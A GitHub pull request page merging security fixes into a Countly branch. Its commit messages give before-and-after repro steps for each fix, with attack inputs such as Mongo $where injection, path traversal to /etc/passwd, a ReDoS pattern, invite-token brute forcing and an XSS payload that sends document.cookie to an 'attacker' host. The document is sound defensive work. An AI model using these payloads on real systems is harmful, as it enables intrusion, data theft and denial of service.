Merge release.24.05 into feature/new-ui-dw (security fixes)#7568
Open
ar2rsawseen wants to merge 313 commits into
Open
Merge release.24.05 into feature/new-ui-dw (security fixes)#7568ar2rsawseen wants to merge 313 commits into
ar2rsawseen wants to merge 313 commits into
Conversation
…-ref-is-undefined [Fix] Prevent dropdown console error when ref or dropdown are undefined
Update CHANGELOG.md
…cations-are-not-working-for-focusrite-24-05
…tifications-are-not-working-for-focusrite-24-05 [SER-2425] User timezones were not being projected - release.24.05
…sage-next-day-is-not-working [SER-2429] Enable reschedule option
Changelog entry for active users calculation bug
…ple-instances [emails][puppeteer][fix] allow chrome to launch multiple instances
Update CHANGELOG.md for v24.05.32
Changelog for v24.05.33
…ill-widgets Update CHANGELOG.md
Changelog update for v24.05.34
Fix mongo connection url parsing
Enhanced the script to accurately identify and delete only unreferenced long_tasks when removing orphan widgets, supporting multiple widget types and their report fields. Updated dashboard deletion API to ensure widgets and their linked long_tasks are deleted individually, and improved error handling for missing dashboards
…rd-deleted-2405 fix: Delete widgets when a dashboard is removed
…ship (H-1, H-2)
The /i/tasks/* endpoints were gated only by validateUserForWrite, which
in this codebase aliases to validateUser — i.e. "user exists, is not
locked", with no app or task-ownership check. That made the following
attacks possible by ANY authenticated user:
- rerunTask (api/utils/requestProcessor.js /i/tasks/update):
taskmanager.rerunTask replays the task's original stored request
using the creator's api_key (taskmanager.js:~1056), falling back
to a global admin's api_key when the creator can't be loaded. Any
low-privilege user could trigger an arbitrary user's task to run
again, and read the result via /o/tasks/task. This is a direct
cross-tenant privilege escalation to global-admin scope.
- deleteResult (/i/tasks/delete), nameResult (/i/tasks/name),
editTask (/i/tasks/edit): all only filter by _id, never by
creator/app_id. Anyone could delete/rename/mutate any task. Edit
in particular lets attacker mutate `period_desc`, which feeds back
into the next rerun.
Fix: introduce taskmanager.isAuthorizedFor(member, task) +
taskmanager.loadIfAuthorized(db, id, member, cb), and use them in all
four /i/tasks/* handlers before invoking the underlying mutator. A
member is authorized iff:
- global_admin, OR
- task.creator === member._id, OR
- task.app_id is set AND member has admin access on that app_id.
Manual repro:
Setup: <VICTIM_TASK_ID> is a long_tasks document whose creator is a
global admin and whose app_id is APP_X. The current user is a
user-level (not admin) member of APP_Y only.
Before:
GET /i/tasks/update?task_id=<VICTIM_TASK_ID>&api_key=<my-key>
-> 200 'Success'. Task starts re-running using global-admin api_key.
Result is overwritten in long_tasks. /o/tasks/task can then
fetch the (now refreshed) data.
After:
Same call.
-> 403 'Not allowed'.
Same for /i/tasks/delete, /i/tasks/name, /i/tasks/edit.
Legitimate flows:
A user calling /i/tasks/* on a task they created -> proceeds as
before.
Global admins -> always allowed.
App admin of the task's app_id -> always allowed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The /o/export/download/<task_id> endpoint loaded the long_tasks document
by _id only, with no constraint on app_id or creator, after running
validateRead(params, 'core', ...) — which only verifies the user has
'core:read' on the app_id passed in the query string. That qstring
app_id can be any app the user has access to, so an authenticated user
of app A could download exports owned by tenants of app B simply by
guessing/enumerating the long-task ID (24-char ObjectID).
Fix: after loading the task, call taskmanager.isAuthorizedFor (added
in the previous task-ownership commit) which authorizes only:
- global admins, OR
- the task's creator, OR
- app admins of the task's app_id.
Manual repro:
Setup: <VICTIM_TASK_ID> is a long_tasks document whose app_id is
APP_X (a tenant the current user is NOT a member of). The user is
a non-admin reader on a different app APP_Y.
Before:
GET /o/export/download/<VICTIM_TASK_ID>?app_id=<APP_Y>&api_key=<my-key>
-> 200 streams APP_X's stored CSV/XLSX export.
After:
Same call.
-> 403 'Not allowed'.
Owner / app-admin / global-admin still works.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Previously:
- update used \$set: params.qstring.args verbatim. Combined with the
filter {_id: args._id, app_id: qstring.app_id} (which constrains
the lookup but NOT the \$set payload), a user with update rights on
app A could rewrite the group's stored app_id to point at app B,
moving the group across tenants. They could also set arbitrary
fields on the doc.
- create did insert({...params.qstring.args, _id}), letting the
caller drop any field into the inserted document.
Fix: define an explicit whitelist (name, source_events, description,
display_map, status, order). update only \$sets those keys; create
inserts only validated fields plus the server-derived _id and app_id.
Manual repro:
Setup: caller is an app-admin of A; event group <GID> belongs to A.
Before:
POST /i/event_groups/update?app_id=<A>&api_key=<...>
args={"_id":"<GID>","app_id":"<VICTIM_B>","name":"x"}
-> 200 Success. group's app_id rewritten to B; appears under B.
After:
Same call.
-> 200 Success. app_id is left intact (filter still scopes to A).
The forged args.app_id is dropped before \$set.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
fetch.fetchEventGroupById and fetch.getMergedEventGroups looked up
event_groups documents by _id only, with no app_id constraint. Although
validateRead enforces feature-level rights on the qstring's app_id,
the Mongo lookup itself ignored that scope — so an authenticated user
of app A could pass _id of an event group belonging to app B and have
B's event-group definition (event keys, segmentation labels) merged
into their dashboard.
Fix: cast _id to string and add { app_id: params.app_id } to the
findOne filter in both functions. Reject empty _id explicitly.
Manual repro:
Setup: <GID> is an event_groups._id belonging to APP_X. Caller is
a member of APP_Y only.
Before:
GET /o?method=get_event_group&app_id=<APP_Y>&_id=<GID>
-> 200 returns APP_X's event-group document.
After:
Same call.
-> 500 error (document not found in scope).
Calling with the caller's own app_id and a valid <GID> for that
app still works as before.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The user-deletion path in api/parts/mgmt/app_users.js iterates the
SDK-supplied user.picture array, strips the /userimages/ prefix, and
then passes the remainder through path.resolve(... + id) and
countlyFs.deleteFile.
A malicious end-user can set their own user.picture to
"/userimages/../../../etc/cron.d/something" via SDK ingestion. When an
admin later runs /i/app_users/delete on that user, path.resolve
expands the path outside the userimages directory and the server tries
to unlink the file at the resolved location. With permissive
filesystem layouts (Countly running as root, or under /etc/cron.d/,
/usr/local/bin/, etc.) this is arbitrary local file deletion.
Fix: after stripping the /userimages/ prefix, run the value through
path.basename() to remove any directory components, and skip the entry
if the result is empty, "." or "..", or still contains a path
separator. Legitimate UUID-style picture filenames (the only thing the
upload helper produces) are unaffected.
Manual repro:
Setup: as a SDK client for app A, set the user record's picture:
POST /i?app_key=...&device_id=victim&user_details={
"picture":"/userimages/../../../tmp/file_to_delete.txt"
}
Before:
Admin deletes that user via /i/app_users/delete.
-> path.resolve resolves to /tmp/file_to_delete.txt; countlyFs
attempts to delete that file.
After:
Same delete.
-> path.basename strips the traversal. The resulting id has a "/" in
it after path.basename returns, so the entry is skipped (no
file deletion attempted). Legitimate uploads still work.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…H-14)
Two related cross-tenant + path-traversal issues in the appUser export
endpoints:
1) /i/app_users/deleteExport/<filename>
The handler parsed paths[4] into name_parts and used name_parts[1]
(the app_id encoded in the export filename) as the target collection
suffix, while validateUserForWrite only checked permission on
params.qstring.app_id. An admin of app A could call
/i/app_users/deleteExport/appUser_<APP_B_ID>_<VICTIM_UID>?app_id=<A>
to delete app B's GridFS export and unset appUserExport on app B's
user record.
2) /o/app_users/download/<filename>
Same pattern: validateUserForRead checks qstring.app_id while the
stream is loaded from a path containing the filename's embedded
app_id. Cross-tenant exfiltration of stored exports.
Both endpoints also wrote paths[4] into path.resolve(... + filename)
without sanitization, so a value with traversal characters could in
principle escape the export directory.
Fix:
- Reject filenames containing anything outside [A-Za-z0-9_.-] before
parsing (defeats traversal).
- For appUser_-prefixed filenames, require name_parts[1] to match
params.qstring.app_id; global_admin keeps unrestricted access.
Manual repro:
Setup: <APP_A> is owned/managed by the caller; <APP_B> is another
tenant. <VICTIM_UID> is a uid under APP_B. An export named
appUser_<APP_B>_<VICTIM_UID>.tar.gz exists.
Before:
GET /i/app_users/deleteExport/appUser_<APP_B>_<VICTIM_UID>?app_id=<APP_A>&api_key=<A_admin>
-> 200 'Export deleted'. APP_B's stored export is gone; APP_B's
user record's appUserExport field is unset.
GET /o/app_users/download/appUser_<APP_B>_<VICTIM_UID>?app_id=<APP_A>&api_key=<A_admin>
-> streams APP_B's tar.gz.
After:
Both calls -> 403 'Not allowed (export belongs to a different app)'.
Same caller hitting their own export — appUser_<APP_A>_<UID> with
app_id=<APP_A> — works as before.
Global admins are exempt.
Path traversal:
GET /o/app_users/download/..%2F..%2Fetc%2Fpasswd
Before: paths[4] flows into path.resolve, escapes export dir.
After: 400 'Invalid filename'.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…(H-8, M-12, M-16)
Several endpoints accept a JSON 'query' from the client and pass it
directly into MongoDB find/update/delete/count/aggregate. Without
sanitization, these queries can include:
\$where — server-side JS evaluated per document; supports
while(true){} DoS and timing-oracle exfiltration:
{"\$where":"function(){... if(this.custom.token.charAt(0)==='a'){...} return true;}"}
\$expr — aggregation expressions evaluated on the doc
\$function — Mongo 4.4+ server-side JS execution
\$accumulator — server-side JS aggregation execution
Add common.stripUnsafeMongoOperators(query) — a recursive walker that
removes those operators (and only those) from any user-supplied query
object — and call it in:
api/parts/mgmt/app_users.js: update / delete / search / count /
export / loyalty (H-8). The /i/app_users/* endpoints are gated by
validateUserForWrite (app-admin) but loyalty is read-permission
gated, so a read-only user could send {"\$where":...} for free DoS.
plugins/logger/api/api.js: /o?method=logs filter (M-12).
plugins/compliance-hub/api/api.js: consent/current and consent/search
queries; also force query.app_id = params.app_id on consent/current
(defense-in-depth) (M-16).
This is a defense-in-depth helper, not a substitute for a strict
allowlist. Future hardening should narrow each endpoint's accepted
fields/operators further.
Manual repro:
Setup: caller has app-admin (or read for loyalty) on APP_X.
Before:
POST /i/app_users/update?app_id=<APP_X>&api_key=<...>
query={"\$where":"sleep(5000)||true"}
update={"\$set":{"_dummy":1}}
-> request hangs ~5s (Mongo runs the JS); CPU consumed.
After:
Same call.
-> \$where stripped before the query reaches Mongo. The query
becomes {} which the existing per-app collection scoping plus
count-check still bounds.
Compliance-hub before:
GET /o/consent/search?app_id=<APP>&query={"\$where":"sleep(5000)||true"}
-> hangs.
After: \$where stripped; search runs normally.
Logger before:
GET /o?method=logs&app_id=<APP>&filter={"\$where":"while(true){}"}
-> Mongo loop blocks.
After: filter becomes {}.
Legitimate queries (uid, did, ts ranges, custom-prop equality) still
work — only the dangerous operator subset is dropped.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…string.app_id (H-21, H-22)
Two cross-app IDORs in the push plugin:
H-21: validate(args) trusted args.app (the body field) to select the
target app. apiCall in plugins/push/api/api.js gates create/test on
validateCreate(params, 'push', ...), which checks the caller's
permission against params.qstring.app_id ONLY. With args.app pointing
to a different app, validate() then loaded that other app's push
credentials (apns/fcm) and the send pipeline targeted that app's user
base. Anyone with push:create on any one app could push to the entire
user base of any other app on the same deployment, signed by the
victim app's credentials.
Fix: in validate(), require args.app === params.qstring.app_id when
qstring.app_id is set. test, create, update now thread params into
validate() so it can do this check.
H-22: one (read), remove (delete), and toggle (state mutation)
filtered Message.findOne by _id only — no app scope. A member with
push:read on app A could pass _id of a message belonging to app B and
read its full payload + targeting + delivery metrics; with push:delete
they could delete it; with push:update they could toggle it.
Fix: scope every Message.findOne in those handlers by
app: ObjectID(params.qstring.app_id) when app_id is present in the
qstring.
Manual repro (H-21):
Before: args.app=<APP_B> in body while qstring.app_id=<APP_A>
-> message saved with app=APP_B, APN/FCM creds of APP_B used.
After:
-> 400 'args.app does not match request app_id'.
Manual repro (H-22):
Before: GET /o/push/message?app_id=<APP_A>&_id=<MID_in_APP_B>
-> 200 returns APP_B's message.
After: 404.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ons (H-23)
/i/alert/save calls validateCreate(params, 'alerts', ...) which only
verifies the caller's permission against params.qstring.app_id. The
alert body's selectedApps:[...] array was then persisted unchecked.
The scheduler iterates that array, evaluates the alert against each
listed app, and emails the metric values to attacker-controlled
addresses in alertValues:
Setup: caller has alerts:create on APP_X.
POST /i/alert/save?app_id=<APP_X>&api_key=<...>
alert_config={"alertName":"x","alertDataType":"Session",
"alertDataSubType":"# of sessions","compareType":"more than",
"compareValue":0,"selectedApps":["<VICTIM_APP_Y>"],
"period":"hourly","alertBy":"email",
"alertValues":["attacker@example"],"enabled":true}
-> within an hour the attacker received APP_Y's name, _id, and
current session count by email.
Same pattern is reachable across crashes/events/revenue/NPS modules
because they all loop over alert.selectedApps without re-checking
permissions at evaluation time.
Fix: in the /i/alert/save handler, after JSON.parse'ing alertConfig,
require that every entry of selectedApps is an app for which the
caller has the alerts:create right (hasCreateRight). global_admin
is exempt. This also prevents a future bug where the scheduler stops
re-checking permissions at run time.
Manual repro:
Before:
selectedApps=["<VICTIM_APP_Y>"] from a caller who only has
alerts:create on APP_X -> 200 created.
After:
-> 403 'No alerts:create permission on apps: <VICTIM_APP_Y>'.
Legitimate same-tenant or multi-tenant-with-permission flows
unchanged.
Note: this commit fixes save-time. Update / scheduler-side re-check is
left as a follow-up — once selectedApps can't sneak in at save, the
scheduler is bounded by what the caller had at the time of save.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Two endpoints accepted user-supplied raw regex via the dashboard's
common 'sSearch' parameter and constructed a RegExp from it directly:
- api/parts/data/fetch.js fetch.alljobs (/o?method=jobs)
new RegExp(sSearch, "i") fed into a Mongo \$match on the entire
'jobs' collection.
- api/parts/mgmt/users.js fetchNotes (/o?method=notes)
{\$regex: new RegExp(sSearch, "i")} on notes.note.
Catastrophic-backtracking patterns (e.g. "^(a+)+\$" with a long input)
hang the Node worker compiling the RegExp, and Mongo also pays CPU
trying to evaluate it across every doc.
Fix: cap input length to 256 chars and escape regex metacharacters
before building the RegExp. Substring search behaviour is preserved
(the resulting regex still matches the literal user input as a
substring), but pathological patterns are neutralized.
Manual repro:
Before:
GET /o?method=jobs&api_key=<...>&sSearch=%5E%28a%2B%29%2B%24
-> worker hangs ~indefinitely.
After:
-> sSearch is escaped; query becomes a literal substring search
for "^(a+)+\$" — finishes immediately with empty results.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The companion /users/check/email at frontend/express/app.js:1885
correctly requires both an authenticated session AND global-admin via
isGlobalAdmin(req). The /users/check/username endpoint at line 1897
only required req.session.uid — any logged-in user could probe whether
arbitrary usernames existed.
Fix: add the same isGlobalAdmin(req) gate as the email-check endpoint.
Manual repro:
Before:
Logged in as a non-admin user, POST /users/check/username
{"username":"alice"} -> false (taken) / true (free).
After:
Same call by a non-admin -> false (denied response).
Global admin sees real result as before.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Previously /o/dashboards?dashboard_id=<id>:
- if the document didn't exist -> 404 'Dashboard does not exist'
- if it existed but the caller had no view access ->
200 {error: true, dashboard_access_denied: true}
The differential let an attacker enumerate dashboard IDs (24-char
ObjectIDs) and learn which ones were live on the system regardless of
access.
Fix: when findOne returns no document, return the same
{error: true, dashboard_access_denied: true} envelope as the
no-access branch. The not-exists branch wasn't reachable when the
caller had access, so behavior for legitimate users is unchanged.
Manual repro:
Before:
GET /o/dashboards?dashboard_id=<existing-no-access-id>
-> 200 {dashboard_access_denied: true}
GET /o/dashboards?dashboard_id=<nonexistent-id>
-> 404 'Dashboard does not exist'
Attacker enumerates: 200 means exists.
After:
Both -> 200 {dashboard_access_denied: true}.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ogs to global admins (M-7, M-9, M-10)
Three endpoints had over-broad authentication and could be abused by
any authenticated dashboard user:
M-7 /i/cms/save_entries (api/utils/requestProcessor.js):
Was gated by validateUserForWrite (== validateUser, just "user
exists, not locked"). Lets any authenticated user pollute the
CMS cache that's rendered to other dashboard users. Now requires
global admin.
M-9 /o/system/plugins (api/utils/requestProcessor.js):
Lists every installed plugin to any authenticated user. Useful
recon for attackers — discloses paid/enterprise modules,
version-specific surface. Now requires global admin.
M-10 /i/systemlogs (plugins/systemlogs/api/api.js):
Was gated by validateUser. Any authenticated user could write
arbitrary {action, data} into systemlogs:
- Forging "app_deleted"/"user_deleted"/"app_reset" entries to
mask real attacker activity.
- Embedding attacker-controlled JSON into rendered entries.
Now requires global admin (consistent with the rest of the
systemlogs plugin's read endpoints).
Manual repro:
M-7 before: low-priv POST /i/cms/save_entries succeeds.
M-7 after: 401 'User does not have right'.
M-9 before: low-priv GET /o/system/plugins -> 200 plugin list.
M-9 after: 401 'User does not have right'.
M-10 before: low-priv POST /i/systemlogs -> 200 forged entry.
M-10 after: 401 'User does not have right'.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…flag (M-1)
The 2FA plugin used to do:
req.session.otp = req.body.auth_code; // BEFORE verification
if (GA.check(req.body.auth_code, secret)) { ... }
The recaptcha plugin then skipped its check when:
req.body.auth_code === req.session.otp
Combined, an attacker who once successfully completed any 2FA login
left a session containing the OTP value they used. Subsequent failing
/login requests reusing the same auth_code would match
session.otp and skip recaptcha — defeating the brute-force shield
against any other username (per-username preventBruteforce.fail still
applies, but recaptcha is the layer designed to slow distributed
attempts).
Fix:
- 2FA plugin: only set req.session.twoFactorPassed = true AFTER
GA.check succeeds. No longer writes req.session.otp.
- recaptcha plugin: skip check when req.session.twoFactorPassed is
truthy instead of comparing auth_code to session.otp.
A repo-wide grep confirms req.session.otp had only two consumers (the
two changed files); no plugin or external integration depends on it.
Manual repro:
Setup: recaptcha enabled with valid site/secret keys; one fails-
threshold reached via failed login attempts.
Before:
1. Successfully log in with own account using 2FA code "123456".
(Session now has otp="123456".)
2. Log out.
3. Use the same browser session to attempt login as victim with
any password and auth_code="123456".
-> recaptcha is skipped (auth_code === session.otp); only
username-level rate limit slows the attempt.
After:
1. Same successful 2FA login. Session has twoFactorPassed=true.
2. Log out -> session is destroyed; flag is gone.
3. New brute-force attempts -> recaptcha is enforced.
Even within the same session (no logout):
Brute-force POSTs with the same auth_code value still get
recaptcha because the recaptcha plugin no longer trusts that
value-equality skip.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The new-member invite flow at api/parts/mgmt/users.js:276 derived the
prid via:
prid = sha512Hash(member.username + member.full_name, timestamp)
Reading sha512Hash (line 696):
function sha512Hash(str, addSalt) {
var salt = (addSalt) ? new Date().getTime() : "";
return crypto.createHmac('sha512', salt + "").update(str + "").digest('hex');
}
The second argument is treated as a BOOLEAN. Whenever truthy, the salt
becomes the current millisecond timestamp at hash time (Date.now()),
NOT the timestamp argument. The HMAC key is therefore a ~13-digit ms
counter — an attacker who knows username + full_name (often public via
/o/users/all for global admins, or social media) can iterate the ~1000
candidate ms around the estimated invite-send time and recompute the
prid, hijacking the invitee's account before they click the link.
Fix: replace with crypto.randomBytes(32).toString('hex') — the same
approach already used by the user-initiated password reset flow at
frontend/express/libs/members.js:756. No schema change: prid is still
stored as a hex string; the consume side does string comparison.
Existing invite emails sent before this commit remain valid (their
prid is still in the DB) but cannot be re-derived from username/timestamp.
Manual repro:
Before:
Global admin creates a new user "alice" with full_name "Alice
Wonderland" at approximately 12:34:56.000 UTC. The invite email
contains a link with prid = HMAC-SHA512(<random ms key>, "aliceAlice Wonderland").
Attacker who knows the username/full_name and approximate send
time iterates the ~1000 ms keys around that time:
for ms in (estimated_send_ms - 500 .. estimated_send_ms + 500):
candidate = HMAC-SHA512(str(ms), "aliceAlice Wonderland")
try GET /reset/<candidate>
-> the legitimate prid is found in ~500 attempts on average.
After:
prid is 32 random bytes (256 bits of entropy). No useful
enumeration possible.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
common.returnOutput's HTML-entity escaping (escape_html_entities) is
the contract that lets the dashboard render API-returned strings via
v-html safely — the project's design is "do not sanitize on ingest;
sanitize on output".
The function previously honored params.qstring.noescape:
if (params && params.qstring && params.qstring.noescape) {
noescape = params.qstring.noescape;
}
That let any client disable HTML escaping on the response by appending
?noescape=1 to the URL. Combined with the dashboard's v-html sinks
(crash names, segmentation values, alert names, report titles, etc.),
this is a reflected-XSS primitive: an attacker who tricks an admin
into loading a URL with ?noescape=1 returned unescaped JSON containing
attacker-controlled SDK fields, which then executed as script when
rendered.
A grep across api/, plugins/*/api, plugins/*/frontend, and
frontend/express finds zero callers of ?noescape=1 — the qstring path
appears to be vestigial. Internal callers can still pass `noescape`
as a function argument when they intentionally bypass escaping
(binary, pre-escaped content); only the request-controlled path is
removed.
Manual repro:
Setup: an admin viewing a crash group whose name is
"<img src=x onerror=fetch('//attacker/?c='+document.cookie)>".
Before:
Attacker tricks admin to load
/dashboard/crashes/<group_id>?noescape=1
-> /o?method=crashgroup&app_id=<id>&noescape=1 returns the raw
crash.name; v-html renders it; XSS executes.
After:
Same URL.
-> The qstring noescape is no longer honored; response contains
the escaped <img src=x ...>, v-html shows the escaped
text harmlessly.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…protection path comment
Two small Copilot review comments addressed:
1. plugins/dashboards/api/api.js — when L-6 was fixed, the original
if (!err && dashboard) { ... } else { not-found ... } was converted
to an early-return for the not-found case, leaving a redundant
bare { ... } block wrapping the success path. Remove the braces and
dedent the contained lines by 4 spaces. No functional change; the
inner functions (fetchDashboardWidgets, fetchSharedUsersInfo) were
already after the brace and remain at the same nesting level.
2. api/parts/mgmt/apps.js — the SSRF protection module was moved from
plugins/hooks/api/ssrf-protection.js to api/utils/ssrf-protection.js
in the H-7 commit, but a pointer comment in updateApp's argProps
still referenced the old plugin path. Update the comment to point
at the current location and clarify that the request-time check is
in validateRedirect.
Addresses Copilot review comments on PR #7535.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Previously the regenerate callback was \`function() { ... }\` — ignoring
the err argument. If the session store returned an error during
regenerate, we'd fall through to setLoggedInVariables on the existing
(pre-auth) session id, re-introducing the fixation primitive that the
regenerate was supposed to close.
Now: log the error, dispatch tokenLoginFailed with reason
"session_regenerate_failed", and call callback(undefined) so the
caller (frontend/express/app.js:1909) treats it as a failed login
attempt and redirects to /login?message=login.result instead of
binding the identity to the un-regenerated session.
The existing password-login path at members.js:329 has the same
silent-error pattern but is left untouched in this commit — it has
been the production behavior for years and changing its error
handling has independent risk; if hardening is desired there it
should be a separate, focused commit.
Addresses Copilot review comment on PR #7535.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
After H-17 added \`app_id: params.app_id\` scoping to fetchEventGroupById and getMergedEventGroups, the not-found case became normal: any caller who passes an _id from another tenant (or a stale id) hits the !result branch. The branch was returning HTTP 500 with a misleading "error: null" body, treating cross-tenant probes and missing docs as server errors. Split the condition: return 500 only when there is a real Mongo error; return 404 'Event group not found' when the document is simply absent in the requested app's scope. Addresses Copilot review comments on PR #7535 (one inline + one suppressed-low-confidence comment, both on the same pattern). Manual repro: GET /o?method=get_event_group&app_id=<APP_X>&_id=<GID-from-APP_Y> Before: 500 'error: null' After: 404 'Event group not found' GET /o?method=get_event_group&app_id=<APP_X>&_id=<MY_OWN_VALID_GID> Both before and after: 200 with the document. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Per maintainer follow-up to PR #7535 review: confirmed via repo-wide grep that no code anywhere — plugins/dashboards/frontend/, the rest of plugins/, frontend/express/ — references /o/dashboards/test or calls the handler. The endpoint appears to be a leftover dev/test route. Earlier in this PR (commit c5d5994) the endpoint was hardened with validateUser + per-widget app permission filtering rather than removed, to preserve compatibility for any unknown external integration. With the maintainer confirming there is no such integration in this codebase, the safest action is to remove it entirely — eliminating both the attack surface and the risk that a future change re-introduces a permission gap. Removes: plugins/dashboards/api/api.js:358-408 — the entire plugins.register("/o/dashboards/test", ...) block. The validateUser and getUserApps imports stay (both still used by other handlers in the same file). customDashboards.fetchAllWidgetsData also has other callers (the main /o/dashboards handler at lines ~230 and ~343, and /o/dashboards/widget at line ~402), so no helper needs to be removed. Manual repro: Before: GET /o/dashboards/test?api_key=<...>&widgets=[...] -> 200 with widget data (after C-4 hardening) or 401 (no api_key) After: Same call. -> 404 from the default not-found handler in requestProcessor.js (no plugin registered the path). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…k fixes from PR #7547 Backport of #7547 to release.24.05. - frontend/express/app.js: theme image handler built sendFile path from cookie + URL with only a prefix check, allowing `..` traversal outside /public/themes. Now uses res.sendFile with `root` option so express normalizes the path and rejects traversal natively. - plugins/two-factor-auth setup2fa.html / enter2fa_login.html: hidden username/password inputs used unescaped EJS (`<%-`), enabling reflected XSS via crafted credentials. Switched to escaped `<%=`. - api/utils/common.js: returnRaw / returnMessage / returnOutput logged the entire params object on the "output already closed" branch, which can include req.body/req.headers (passwords, session cookies). Replaced with a small non-sensitive summary (pathname only, no query string). Note: 24.05 has three sites vs two on master (returnRaw exists here). - plugins/sdk/api/api.js: SDK config endpoints echoed raw `'Error: ' + err` to clients, leaking internal details. Now log details server-side and return a generic message. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- Reject `theme` cookie values that contain path separators, leading dots, or control chars via common.sanitizeFilename. Defense-in-depth on top of res.sendFile's `root` normalization (which already converts absolute paths to relative and blocks `..` traversal via send's `'.' + sep + path` prefix). - Log non-ENOENT / non-403 / non-404 errors from sendFile server-side instead of swallowing them silently; still fall through to next() so a theme misconfiguration doesn't 500 unrelated routes. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
[security][backport 24.05] Fortify-flagged path traversal, XSS, and info-leak fixes
Cookiezaurs
approved these changes
May 14, 2026
Contributor
There was a problem hiding this comment.
Pull request overview
This PR merges release/security fixes into the feature branch while preserving customer-specific UI and database wiring changes. It spans backend hardening, tracking/configuration updates, dashboard/alerts scheduling behavior, and UI/test adjustments.
Changes:
- Adds or backports security fixes for path traversal, XSS/escaping, Mongo operator hardening, cross-app authorization, 2FA/recaptcha flow, and file/image handling.
- Updates dashboard, alerts, push, server-stats, tracking, remote-config, and star-rating behavior/UI.
- Adjusts Cypress tests and adds/updates utility tests and a cleanup script.
Reviewed changes
Copilot reviewed 133 out of 135 changed files in this pull request and generated 16 comments.
Show a summary per file
| File | Description |
|---|---|
ui-tests/cypress/support/elements/onboarding/initialConsent.js |
Removes tracking consent selectors from onboarding tests. |
ui-tests/cypress/lib/onboarding/initialConsent.js |
Removes tracking consent interactions/assertions. |
ui-tests/cypress/lib/dashboard/feedback/ratings/widgets.js |
Updates rating widget UI expectations. |
ui-tests/cypress/lib/dashboard/feedback/ratings/demoWidgetPage.js |
Trims widget id before opening demo page. |
ui-tests/cypress/e2e/dashboard/feedback/ratings/widgets.cy.js |
Re-enables widget test and updates default color assertions. |
plugins/views/frontend/public/templates/views.html |
Adds test ids and unescape formatting for view names. |
plugins/views/frontend/public/javascripts/countly.views.js |
Adds common formatters mixin. |
plugins/two-factor-auth/frontend/public/templates/setup2fa.html |
Escapes hidden username/password values. |
plugins/two-factor-auth/frontend/public/templates/enter2fa_login.html |
Escapes hidden username/password values. |
plugins/two-factor-auth/frontend/app.js |
Moves 2FA session success flag until after code verification. |
plugins/times-of-day/frontend/public/templates/times-of-day-widget.html |
Refactors dashboard widget template and mouse handling. |
plugins/systemlogs/api/api.js |
Restricts system log writes to global admins. |
plugins/system-utility/api/api.js |
Improves profiler stream error handling and removes tracker stats ping. |
plugins/star-rating/frontend/public/templates/widgets-tab.html |
Updates widget table refresh event handling. |
plugins/star-rating/frontend/public/templates/widget-detail.html |
Replaces custom status markup with status tag component. |
plugins/star-rating/frontend/public/templates/star-consent-link.html |
Updates consent link model shape and input counter UI. |
plugins/star-rating/frontend/public/templates/drawer.html |
Passes consent text/model into consent rendering component. |
plugins/star-rating/frontend/public/stylesheets/widget-detail.scss |
Updates status/detail layout styles. |
plugins/star-rating/frontend/public/stylesheets/ratings.scss |
Adds styles for consent input counter. |
plugins/star-rating/frontend/public/localization/star-rating.properties |
Updates internal name copy. |
plugins/star-rating/frontend/public/javascripts/countly.models.js |
Adds bulk widget status update API call. |
plugins/star-rating/frontend/app.js |
Hardens image preview/static image serving. |
plugins/star-rating/api/image-utils.js |
Adds image MIME sniffing and feedback logo name validation helpers. |
plugins/server-stats/tests/job.js |
Updates server-stats test assertions. |
plugins/server-stats/frontend/app.js |
Removes frontend server-stats tracking hook. |
plugins/server-stats/api/parts/stats.js |
Adds daily breakdown and app aggregation for datapoints. |
plugins/server-stats/api/api.js |
Schedules server-stats job at fixed time. |
plugins/sdk/api/api.js |
Redacts SDK config error details from client responses. |
plugins/reports/api/reports.js |
Preserves event names containing dots. |
plugins/remote-config/frontend/public/templates/conditions-drawer.html |
Passes app-version property type overrides. |
plugins/remote-config/frontend/public/templates/condition-dialog.html |
Adds dialog title and property type override. |
plugins/remote-config/frontend/public/javascripts/countly.views.js |
Adds app-version query type and confirmation i18n fixes. |
plugins/remote-config/api/parts/rc.js |
Reworks filter processing and app-version semver comparison. |
plugins/recaptcha/frontend/app.js |
Switches captcha bypass to verified 2FA session flag. |
plugins/push/frontend/public/stylesheets/main.scss |
Refactors push editor styles. |
plugins/push/frontend/public/javascripts/countly.models.js |
Adds reschedule flag mapping for push schedules. |
plugins/push/api/send/platforms/a.js |
Improves FCM error mapping/logging. |
plugins/push/api/send/data/trigger.js |
Adds trigger reschedule property. |
plugins/push/api/send/data/pers.js |
Fixes personalization string splitting/naming. |
plugins/push/api/send/data/message.js |
Adjusts push scheduling lead time logic. |
plugins/push/api/send/data/const.js |
Adds timezone scheduling lead-time default. |
plugins/push/api/send/audience.js |
Includes timezone in audience projection and parses it. |
plugins/push/api/api-message.js |
Adds cross-app guards for push message operations. |
plugins/populator/frontend/public/javascripts/countly.models.js |
Handles structured NPS widget create responses. |
plugins/plugins/frontend/public/templates/configurations.html |
Adds config warning tags UI. |
